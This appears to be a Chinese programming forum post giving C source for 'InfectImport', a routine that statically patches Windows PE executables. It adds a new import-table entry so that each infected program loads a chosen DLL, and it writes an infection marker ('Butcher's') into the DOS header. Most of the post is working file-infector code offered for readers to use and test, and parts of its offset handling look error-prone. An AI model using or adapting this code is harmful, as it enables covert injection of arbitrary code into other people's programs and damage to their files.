之前有朋友说此方法还不够通用.原因有个别国外程序会启动后,对自身加载的所有文件进行HASH效验,不过它可以检测自带的文件.难道连系统文件也效验.先判断当前系统.
再取得微软的效验?这强度未免太大了吧. 我一个人实在没有那么多精力测试.希望朋友们帮忙.
微软的Detours也在使用这种方法注入,我的和它的有一点区别.它的比较温柔.主要攻击EXE,启动进程挂起.然后修改动态PE.我攻击所有PE文件.静态修改.
编程语言:C
编程环境:Microsoft Visual Studio 2008
系统平台:Windows server 2008
实现原理:
启动进程系统是通过其导入表确定该为其加载那些动态连接库.它是一个数组.每个成员代表一个动态连接库.我们要做的就是为这个数组增加一个成员.
而这个成员就是我们的动态连接库.只是这个数组是固定大小的,它的前面后面.都没有位置让我们新增一个成员.所以我们只能随便找一个空地新构造一个这样的数组即可
代码:
函数名称:InfectImport
函数返回:true or false
第一参数:目标文件路径
第二参数:将注入的动态连接库
int InfectImport(const char* Path,const char* Library)
{
char Sign[0x10]={0};
FILE* File=0x0;
char* Buffer=0x0;
const char* Test=TEXT("Butcher's");
unsigned long Size=0;
unsigned long Offset=0;
IMAGE_DOS_HEADER Dos={0};
IMAGE_NT_HEADERS NT={0};
IMAGE_SECTION_HEADER Section={0};
IMAGE_IMPORT_DESCRIPTOR* Import=0;
IMAGE_DATA_DIRECTORY* Directory=0;
//申请所需的局部变量并为其初始化
if (fopen_s(&File,Path,TEXT("rb+"))!=0)
{
return 0;
}
//以读写权限打开目标文件
__try
{
__try
{
fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File);
if (Dos.e_magic!= IMAGE_DOS_SIGNATURE)
{
return 0;
}
//读取文件DOS头到缓存,并判断DOS签名
fseek(File,0x28,SEEK_SET);
fread(Sign,0x10,1,File);
if (strcmp(Test,Sign)==0)
{
return 0;
}
//读取文件第28字节处到缓存,此为IMAGE_DOS_HEADER结构e_res2[10]域的位置.
//原为微软定义的保留位.就是微软还没想好用这个地方做点什么,只是空一个空留着以后想到了再用.
//那它现在不用,我们就拿来用一下.用来做效验.判断当前文件是否已经被感染过了.如没有才继续
fseek(File,Dos.e_lfanew,SEEK_SET);
fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File);
if (NT.Signature!=IMAGE_NT_SIGNATURE)
{
return 0;
}
//读取文件NT头到缓存,并判断NT签名
fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER),SEEK_SET);
fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File);
if (Section.VirtualAddress!=NT.OptionalHeader.BaseOfData)
{
return 0;
}
//读取文件rdata节到缓存,并判断正确性.
Size=NT.OptionalHeader.DataDirectory[1].Size;
if (Size+0x20>Section.SizeOfRawData-Section.Misc.VirtualSize)
{
return 0;
}
//获取文件导入表尺寸,并判断rdata节剩余空间是否能容纳新增一个导入项的新导入表.
Offset=Section.PointerToRawData+Section.Misc.VirtualSize;
//获取节空隙起始位置
Buffer=calloc(0x20,sizeof(char));
memset(Buffer,0,0x20);
strcpy_s((char*)Buffer,strlen(Library)+1,Library);
*(int*)((int)Buffer+0x10)=0x80000001;
*(int*)((int)Buffer+0x14)=0x0;
*(int*)((int)Buffer+0x18)=0x0;
*(int*)((int)Buffer+0x1c)=0x0;
//申请20字节堆,用以构造新导入项结构
fseek(File,Offset,SEEK_SET);
fwrite(Buffer,sizeof(char),0x20,File);
//把新构造的导入项结构写入文件rdata节空隙起始位置
Import=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR));
Import->FirstThunk =Offset+0x10;
Import->ForwarderChain =0;
Import->Name =Offset;
Import->OriginalFirstThunk =Offset+0x18;
Import->TimeDateStamp =0;
//申请堆,用以构造新导入项.
fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET);
fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File);
//在文件导入表结尾处写入新构造的导入项
Buffer=realloc(Buffer,Size);
memset(Buffer,0,Size);
fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET);
fread(Buffer,sizeof(char),Size,File);
fseek(File,Offset+0x20,SEEK_SET);
fwrite(Buffer,sizeof(char),Size,File);
//复制新导入表到新位置
Directory=malloc(sizeof(IMAGE_DATA_DIRECTORY));
Directory->Size =Size+0x14;
Directory->VirtualAddress =Offset+0x20;
fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET);
fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File);
//修改文件目录使导入表指向新位置,报告新尺寸
fseek(File,0x28,SEEK_SET);
fwrite(Test,strlen(Test),1,File);
//成功后在文件第28字节处,也就是IMAGE_DOS_HEADER结构e_res2[10]域的位置写入我们自定义的感染标志.这里标志为:Butcher's
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return 0;
}
}
__finally
{
free(Buffer);
free(Import);
free(Directory);
fclose(File);
}
return 1;
}
PS:此代码居然破坏性.请先备份目标文件再行使用 (使用前请把想要注入的动态连接库放入与目标相同的文件夹内)